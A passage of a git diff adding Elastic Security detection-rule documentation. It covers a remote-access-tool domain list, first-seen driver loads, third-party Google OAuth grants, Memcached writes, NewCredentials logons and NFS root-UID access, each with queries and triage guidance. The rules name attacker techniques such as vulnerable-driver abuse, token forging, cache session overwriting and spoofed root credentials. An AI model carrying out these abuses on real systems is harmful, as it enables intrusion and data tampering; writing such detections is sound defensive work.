"swi-rc.com", + "swi-tc.com", + "syncroapi.com", + "syncromsp.com", + "syspectr.com", + "system-monitor.com", + "systemmonitor.us", + "tacticalrmm.com", + "tailscale.com", + "teamviewer.com", + "techinline.net", + "tele-desk.com", + "tiflux.com", + "tightvnc.com", + "tmate.io", + "todesk.com", + "twingate.com", + "ultraviewer.net", + "ultravnc.com", + "vnc.com", + "weezo.me", + "weezo.net", + "xeox.com", + "zoho.eu", + "zohoassist.com", + "zohoassist.jp" +) + +// Aggregate by parent domain and get 1st time seen timestamp as well as unique count of agents +| STATS + event_count = COUNT(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.count_distinct_host_id = COUNT_DISTINCT(host.id), + Esql.process_executable_values = VALUES(process.executable), + Esql.dns_question_name_values = VALUES(dns.question.name), + Esql.host_name_values = VALUES(host.name), + Esql.host_id_values = VALUES(host.id), + Esql.user_name_values = VALUES(user.name), + Esql.user_id_values = VALUES(user.id), + Esql.namespace_values = VALUES(data_stream.namespace) BY parent_domain + +// Calculate the time difference between first time seen and rule execution time +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) + +// First time seen is within 6m of the rule execution time and first seen in the last 5 days as per the rule from schedule and limited to 1 unique host +| where Esql.recent <= 6 and Esql.count_distinct_host_id == 1 + +// populate fields for rule exception and triage +| eval host.name = MV_FIRST(Esql.host_name_values), + host.id = MV_FIRST(Esql.host_id_values), + user.name = MV_FIRST(Esql.user_name_values), + user.id = MV_FIRST(Esql.user_id_values), + data_stream.namespace = MV_FIRST(Esql.namespace_values), + process.executable = MV_FIRST(Esql.process_executable_values), + dns.question.name = MV_FIRST(Esql.dns_question_name_values) +| keep host.name, host.id, user.name, user.id, data_stream.namespace, process.executable, dns.question.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-driver-loaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-driver-loaded.asciidoc new file mode 100644 index 0000000000..e3891a3a0f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-driver-loaded.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-first-time-seen-driver-loaded]] +=== First Time Seen Driver Loaded + +Identifies the load of a driver with an original file name and signature values that were observed for the first time during the last 30 days. This rule type can help baseline drivers installation within your environment. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/kr/security-labs/stopping-vulnerable-driver-attacks + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerable Driver +* Rule Type: New Terms +* Platform: Windows +* Resources: Osquery + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen Driver Loaded* + + +A driver is a software component that allows the operating system to communicate with hardware devices. It works at a high privilege level, the kernel level, having high control over the system's security and stability. + +Attackers may exploit known good but vulnerable drivers to execute code in their context because once an attacker can execute code in the kernel, security tools can no longer effectively protect the host. They can leverage these drivers to tamper, bypass and terminate security software, elevate privileges, create persistence mechanisms, and disable operating system protections and monitoring features. Attackers were seen in the wild conducting these actions before acting on their objectives, such as ransomware. + +Read the complete research on "Stopping Vulnerable Driver Attacks" done by Elastic Security Labs https://www.elastic.co/kr/security-labs/stopping-vulnerable-driver-attacks[here]. + +This rule identifies the load of a driver with an original file name and signature values observed for the first time during the last 30 days. This rule type can help baseline drivers installation within your environment. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Examine the driver loaded to identify potentially suspicious characteristics. The following actions can help you gain context: + - Identify the path that the driver was loaded from. If using Elastic Defend, this information can be found in the `dll.path` field. + - Examine the digital signature of the driver, and check if it's valid. + - Examine the creation and modification timestamps of the file: + - On Elastic Defend, those can be found in the `dll.Ext.relative_file_creation_time` and `"dll.Ext.relative_file_name_modify_time"` fields, with the values being seconds. + - Search for file creation events sharing the same file name as the `dll.name` field and identify the process responsible for the operation. + - Investigate any other abnormal behavior by the subject process, such as network connections, registry or file modifications, and any spawned child processes. + - Use the driver SHA-256 (`dll.hash.sha256` field) hash value to search for the existence and reputation in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Use Osquery to investigate the drivers loaded into the system. + - !{osquery{"label":"Osquery - Retrieve All Non-Microsoft Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE NOT (provider == \"Microsoft\" AND signed == \"1\")\n"}} + - !{osquery{"label":"Osquery - Retrieve All Unsigned Drivers with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, class, description, directory, image,\nissuer_name, manufacturer, service, signed, subject_name FROM drivers JOIN authenticode ON drivers.image =\nauthenticode.path JOIN hash ON drivers.image = hash.path WHERE signed == \"0\"\n"}} +- Identify the driver's `Device Name` and `Service Name`. +- Check for alerts from the rules specified in the `Related Rules` section. + + +*False positive analysis* + + +- Matches derived from these rules are not inherently malicious. The security team should investigate them to ensure they are legitimate and needed, then include them in an allowlist only if required. The security team should address any vulnerable driver installation as it can put the user and the domain at risk. + + +*Related Rules* + + +- Untrusted Driver Loaded - d8ab1ec1-feeb-48b9-89e7-c12e189448aa +- Code Signing Policy Modification Through Registry - da7733b1-fe08-487e-b536-0a04c6d8b0cd +- Code Signing Policy Modification Through Built-in tools - b43570de-a908-4f7f-8bdb-b2df6ffd8c80 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Disable and uninstall all suspicious drivers found in the system. This can be done via Device Manager. (Note that this step may require you to boot the system into Safe Mode) +- Remove the related services and registry keys found in the system. Note that the service will probably not stop if the driver is still installed. + - This can be done via PowerShell `Remove-Service` cmdlet. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Ensure that the Driver Signature Enforcement is enabled on the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:"driver" and host.os.type:windows and event.action:"load" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc new file mode 100644 index 0000000000..c7917dc2e4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-first-time-seen-google-workspace-oauth-login-from-third-party-application]] +=== First Time Seen Google Workspace OAuth Login from Third-Party Application + +Detects the first time a user authorizes a third-party Google OAuth application that requests identity or sign-in scopes. Adversaries may abuse compromised credentials or phishing-linked consent flows to register novel OAuth clients, obtain refresh tokens, and authenticate as valid users while evading password-only detections. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-google_workspace.token-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two +* https://developers.google.com/apps-script/guides/bound +* https://developers.google.com/identity/protocols/oauth2 + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Tactic: Defense Evasion +* Tactic: Initial Access +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Platform: Google Workspace +* Domain: SaaS + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen Google Workspace OAuth Login from Third-Party Application* + + +Threat actors may trick users into authorizing adversary-controlled OAuth applications after credential theft, AiTM +relay, or spearphishing. A successful `authorize` grant issues tokens the application can reuse to act on behalf of the +user. Novel third-party client IDs are a strong signal as malicious consent often appears as a first-time application in the tenant. + +This rule uses `new_terms` to flag the first appearance of a `google_workspace.token.client.id` when +a user grants at least one identity or sign-in scope in `google_workspace.token.scope.value` (for example `openid`, +`userinfo.email`, `userinfo.profile`, or `OAuthLogin`). + + +*Possible investigation steps* + + +- Identify the user who authorized the application by reviewing `user.email` or `user.name`, and note `source.ip` and `event.ingested` if present in the alert. +- Identify the application by reviewing `google_workspace.token.app_name` and `google_workspace.token.client.id`. +- Review granted scopes in `google_workspace.token.scope.value` to determine whether the app received identity-only access or additional permissions (for example calendar, drive, or mail scopes on the same grant). +- Determine whether the authorization is expected and authorized: + - If `source.ip` or timing is unusual for the user, treat the alert as higher priority until proven benign.' + +- Search Kibana for related activity: + - Find prior authorizations for the same client in the org: + ``` + data_stream.dataset: "google_workspace.token" and event.action: "authorize" and google_workspace.token.client.id: "" + ``` + - Correlate with sign-in anomalies for the same user: + ``` + data_stream.dataset: "google_workspace.login" and user.email: "" + ``` + - Scope for other OAuth or admin changes from the same `user.email` within the last 48 hours. + + +*False positive analysis* + + +- Internal development or QA OAuth clients may appear as new `client.id` values during testing; coordinate with engineering teams and exclude known test clients if needed. +- Some vendors rotate OAuth client IDs during major upgrades, which can look like a new application, confirm with the vendor or IT owner before closing as benign. + + +*Response and remediation* + + +- Initiate the incident response process based on triage findings. +- If the authorization is not clearly authorized, revoke the application's access for the affected user under Security > Access and data control > API controls (or remove the user token via admin OAuth reports). +- If the user account is suspected compromised, reset credentials, revoke active sessions, and review all OAuth grants for that user. +- Review activity performed with the new token (Drive, Gmail, Calendar, or other services implied by `google_workspace.token.scope.value`). +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "google_workspace.token" + and event.action: "authorize" + and google_workspace.token.scope.value: (*openid* or *userinfo.email* or *userinfo.profile* or *Login*) + and google_workspace.token.client.id: *apps.googleusercontent.com + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-memcached-writer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-memcached-writer.asciidoc new file mode 100644 index 0000000000..becc53282d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-memcached-writer.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-first-time-seen-memcached-writer]] +=== First Time Seen Memcached Writer + +Identifies the first successful or no-reply Memcached store command from a client to a server. Memcached commonly has no authentication, so an unauthorized writer can overwrite session tokens, poison cached application content, or alter security-sensitive state. This behavior can enable session hijacking such as the exposure described by CVE-2026-29093. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-network_traffic.memcached-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2026-29093 +* https://attack.mitre.org/techniques/T1565/001/ +* https://www.elastic.co/docs/reference/integrations/network_traffic + +*Tags*: + +* Domain: Network +* Use Case: Network Security Monitoring +* Use Case: Threat Detection +* Tactic: Impact +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: New Terms +* Vuln: CVE-2026-29093 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen Memcached Writer* + + +Memcached permits store commands without authentication by default. A client with network access can use `set`, `add`, `replace`, `append`, `prepend`, or `cas` to overwrite session objects or inject content consumed by an application. This rule uses a seven-day new-terms history window to surface the first observed client, Memcached server, and store command combination performing a successful operation or issuing a store command with `noreply`. + +The rule does not inspect cached values and does not prove that a session was hijacked. It identifies an unusual writer relationship that requires application and asset context. + + +*Possible investigation steps* + + +- Review `client.ip`, `server.ip`, `server.port`, `network.community_id`, `network_traffic.memcached.request.command`, `network_traffic.memcached.request.keys`, `network_traffic.memcached.response.type`, and `network_traffic.memcached.response.status_code`. +- Determine whether the client is an approved application server, cache warmer, administrative host, deployment job, or newly scaled workload. +- Inspect key names for application-specific session prefixes such as `memc.sess.key`, `PHPSESSID`, or `session`. Do not retrieve or ingest cached values unless incident response requires it and access controls permit it. +- Search earlier Memcached events from the same client for `get`, `gets`, `stats`, `lru_crawler`, or key enumeration activity that could indicate discovery before modification. +- Search subsequent events for `flush_all`, delete bursts, privileged web sessions from new source addresses or user agents, and administrative actions without the normal authentication sequence. +- Review application and identity logs to determine whether the write was followed by session reuse or impersonation. + + +*False positive analysis* + + +- Autoscaling and deployments can introduce legitimate first-time writers. +- NAT or proxies can combine multiple application instances under one client address or make a known writer appear new. +- Add exceptions for validated client and server pairs rather than excluding store commands globally. + + +*Response and remediation* + + +- Block unauthorized clients and restrict Memcached listeners to approved application and administration networks. +- Invalidate affected sessions and rotate exposed credentials if session manipulation is suspected. +- Bind Memcached to private interfaces, enforce network-layer access controls, and disable UDP unless explicitly needed. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic Network Packet Capture integration with the Memcached protocol analyzer enabled and +cleartext visibility into client-to-server transactions. The sensor must observe responses to confirm successful +operations, except when the client explicitly uses `noreply`. + +Keep value capture disabled unless it is explicitly required and protected. Cached values can contain live session +tokens, credentials, personal data, and other sensitive application content. Key and command metadata are sufficient +for this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:network_traffic.memcached and +client.ip:* and server.ip:* and +network_traffic.memcached.request.command:("set" or "add" or "replace" or "append" or "prepend" or "cas") and +( + network_traffic.memcached.response.type:("Success" or "success") or + network_traffic.memcached.response.status_code:0 or + network_traffic.memcached.request.noreply:true +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-newcredentials-logon-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-newcredentials-logon-process.asciidoc new file mode 100644 index 0000000000..5cb1682569 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-newcredentials-logon-process.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-first-time-seen-newcredentials-logon-process]] +=== First Time Seen NewCredentials Logon Process + +Identifies a new credentials logon type performed by an unusual process. This may indicate the existence of an access token forging capability that are often abused to bypass access control restrictions. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/pt/blog/how-attackers-abuse-access-token-manipulation + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating First Time Seen NewCredentials Logon Process* + + +The NewCredentials logon type in Windows allows processes to impersonate a user without requiring a new logon session, often used for legitimate tasks like network resource access. However, adversaries can exploit this by forging access tokens to escalate privileges and bypass controls. The detection rule identifies unusual processes performing this logon type, excluding known system paths and service accounts, to flag potential misuse indicative of token manipulation attacks. + + +*Possible investigation steps* + + +- Review the process executable path to determine if it is a known or expected application, especially since the query excludes common system paths like Program Files. +- Investigate the SubjectUserName to identify the user account associated with the logon event and determine if it is a legitimate user or a potential compromised account. +- Check the historical activity of the identified process and user account to see if this behavior is consistent with past actions or if it is anomalous. +- Correlate the event with other security logs to identify any preceding or subsequent suspicious activities, such as failed logon attempts or unusual network connections. +- Assess the environment for any recent changes or incidents that might explain the unusual logon process, such as software updates or new application deployments. +- Consult threat intelligence sources to determine if the process or behavior is associated with known malicious activity or threat actors. + + +*False positive analysis* + + +- Legitimate administrative tools or scripts may trigger this rule if they use the NewCredentials logon type for network resource access. To manage this, identify and whitelist these tools by their process executable paths. +- Scheduled tasks or automated processes running under service accounts might be flagged. Review these tasks and exclude them by adding exceptions for known service account names. +- Software updates or installations that require elevated privileges could cause false positives. Monitor these activities and create exceptions for the specific processes involved in regular update cycles. +- Custom in-house applications that use impersonation for legitimate purposes may be detected. Work with development teams to document these applications and exclude their process paths from the rule. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified as using the NewCredentials logon type that are not part of known system paths or service accounts. +- Revoke any potentially compromised access tokens and reset credentials for affected user accounts to prevent further misuse. +- Conduct a thorough review of recent logon events and process executions on the affected system to identify any additional unauthorized activities or compromised accounts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring for similar suspicious logon activities across the network to detect and respond to potential future attempts promptly. +- Review and update access control policies and token management practices to mitigate the risk of access token manipulation in the future. + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:"authentication" and host.os.type:"windows" and winlog.logon.type:"NewCredentials" and + winlog.event_data.LogonProcessName:Advapi* and + not winlog.event_data.SubjectUserName:*$ and + not process.executable: (C\:\\Program*Files*\(x86\)\\*.exe or C\:\\Program*Files\\*.exe) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-nfs-auth-sys-root-uid-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-nfs-auth-sys-root-uid-access.asciidoc new file mode 100644 index 0000000000..1a023d7fed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-nfs-auth-sys-root-uid-access.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-first-time-seen-nfs-auth-sys-root-uid-access]] +=== First Time Seen NFS AUTH_SYS Root UID Access + +Identifies the first source and destination IP pair observed in a five-day history window where an NFS client asserts AUTH_SYS (RPC UNIX) credentials with UID 0 (root). NFSv3 and NFSv4 clients can claim arbitrary UIDs through AUTH_SYS, and weak export controls may honor root-equivalent access from unexpected hosts. This is a common precursor to unauthorized mounts, sensitive file reads, and remote encryption of exported shares. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-network_traffic.nfs* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1213/ +* https://attack.mitre.org/techniques/T1039/ + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Network Security Monitoring +* Tactic: Collection +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen NFS AUTH_SYS Root UID Access* + + +NFS AUTH_SYS allows the client to assert UID/GID values on the wire. UID 0 maps to superuser access on many exports unless root squashing or Kerberos (RPCSEC_GSS) is enforced. Attackers abuse this to read secrets, traverse exports, or stage ransomware writes without a local root shell on the NFS server. This rule uses a five-day history window to identify the first observed source and destination IP pair presenting root credentials. + + +*Possible investigation steps* + + +- Identify `source.ip` and confirm whether it is an approved NFS client for the targeted `destination.ip` export server. +- Review adjacent NFS operations from the same source for `READDIR`, `READ`, `WRITE`, or `REMOVE` activity that suggests enumeration, collection, or impact. +- Validate export policy on the server (`/etc/exports`, `exportfs -v`) for `no_root_squash`, overly broad client lists, or missing `sec=krb5`. +- Check endpoint telemetry on the source host for tooling such as `showmount`, `mount.nfs`, or Impacket-style NFS abuse. + + +*False positive analysis* + + +- Known backup, imaging, or virtualization platforms sometimes mount exports as root from fixed infrastructure IPs. Create exceptions for those sources only after confirming stable client identity and expected operation mix. +- Migration or DR runbooks may temporarily mount with root to preserve ownership. Correlate with change tickets and bounded maintenance windows. + + +*Response and remediation* + + +- Block unauthorized `source.ip` at the host firewall or export ACL and rotate any credentials read from the export. +- Enforce `root_squash`, narrow client allowlists, and RPCSEC_GSS on sensitive exports. +- Hunt for follow-on `WRITE`/`RENAME` bursts from the same client that may indicate ransomware activity. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic **network_traffic** integration (Packetbeat via Elastic Agent) with the **NFS** protocol +module enabled on a sensor that observes NFS traffic to or from monitored exports (host agent, SPAN/mirror, or gateway). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:network_traffic.nfs and +network_traffic.nfs.rpc.cred.uid:0 and +network_traffic.nfs.rpc.auth_flavor:unix and +source.ip:* and destination.ip:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Network Shared Drive +** ID: T1039 +** Reference URL: https://attack.mitre.org/techniques/T1039/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-remote-monitoring-and-management-tool.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-remote-monitoring-and-management-tool.asciidoc new file mode 100644 index 0000000000..b5c9ae429b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-first-time-seen-remote-monitoring-and-management-tool.asciidoc @@ -0,0 +1,397 @@ +[[prebuilt-rule-8-19-34-first-time-seen-remote-monitoring-and-management-tool]] +=== First Time Seen Remote Monitoring and Management Tool + +Adversaries may install legitimate remote monitoring and management (RMM) tools or remote access software on compromised endpoints for command-and-control (C2), persistence, and execution of native commands. This rule detects when a process is started whose name or code signature matches commonly abused RMM or remote access tools. New Terms type: the host.id and process.name pair has not been seen before within the configured 7-day history window. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process-* +* endgame-* +* winlogbeat-* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* logs-system.security* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* 